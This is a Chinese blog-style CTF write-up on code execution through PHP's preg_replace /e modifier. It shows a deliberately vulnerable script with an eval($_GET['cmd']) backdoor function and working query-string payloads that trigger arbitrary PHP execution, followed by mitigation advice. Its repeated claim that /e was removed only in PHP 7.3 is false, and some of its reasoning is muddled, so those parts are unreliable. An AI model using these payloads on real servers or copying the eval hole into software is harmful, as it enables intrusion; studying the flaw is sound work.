深入研究 preg_replace /e 模式下的代码执行

1. 引言

在 PHP 7.3 之前,preg_replace 使用 /e(执行)模式时,可能导致代码执行漏洞。其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析


2. 代码案例分析

<?php
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str) . "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

漏洞点分析

  1. preg_replace 使用了 /e 模式,会执行替换字符串作为 PHP 代码。

  2. 第二个参数 'strtolower("\\1")' 直接调用了 strtolower(),并将 \1 作为参数。

  3. \1 在正则表达式中是匹配的第一个子模式,即用户输入。

如果传入的 $re$str 经过特定构造,就可以执行任意 PHP 代码。


3. 第一个坑:\1 的作用

eval('strtolower("\\1")');

\1 在 PHP 正则表达式中代表的是第一个匹配的子模式(即括号 () 内的内容)。

示例 payload:

?.*={${phpinfo()}}

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str); 这句代码中,\1 匹配的是 phpinfo(),所以最终会执行 phpinfo()

问题点

但在 GET 传参的情况下,?.* 不是一个合法的 PHP 变量名,会被 PHP 替换 _,导致匹配失败。


4. 第二个坑:匹配所有字符的正则表达式

为了绕过 PHP 变量名限制,我们可以使用 \S* 进行匹配。

?\S*={${phpinfo()}}

为什么 \S* 能够匹配?

  1. \s 表示空白字符,如空格、换行、制表符。

  2. \S 表示非空白字符。

  3. . 默认不匹配换行,但 [\s\S] 可以匹配所有字符。

所以,我们使用 \S* 作为匹配规则,可以成功匹配 {${phpinfo()}},从而触发 phpinfo()


5. 第三个坑:PHP 可变变量解析

{${phpinfo()}}

在 PHP 中,双引号可以解析变量,而单引号不会解析。

  • {${phpinfo()}} 中的 phpinfo() 会先执行,返回 1

  • 变成 {${1}},即 {1},最终结果为 1

代码示例

var_dump(phpinfo()); // 结果:true
var_dump(strtolower(phpinfo())); // 结果:'1'
var_dump(preg_replace('/(.*)/ie','1','${phpinfo()}'));// 结果:'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:''

最终执行的 preg_replace 代码等价于:

strtolower("{null}") // 结果为空字符串

6. 直接调用 getFlag() 进行代码执行

payload:
?\S*={${@getFlag()}}&cmd=phpinfo();

这样,我们可以利用 getFlag() 函数,执行 eval($_GET['cmd']),从而执行任意 PHP 代码。


7. 结论

  1. preg_replace /e 模式可以执行 PHP 代码,因此在 PHP 7.3 之前的版本存在严重安全风险。

  2. 由于 PHP 变量名限制,直接使用 ?.* 可能导致匹配失败,需要使用 \S* 进行匹配。

  3. 利用 {${phpinfo()}} 形式,可以通过 PHP 可变变量解析执行任意代码。

  4. 可通过 getFlag() 函数,进一步执行任意命令。

安全建议

  • 不要 在 PHP 代码中使用 preg_replace /e,使用 preg_replace_callback() 替代。

  • 升级 PHP 到 7.3+,完全移除 /e 模式支持。

  • 严格过滤用户输入,避免代码执行漏洞。

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值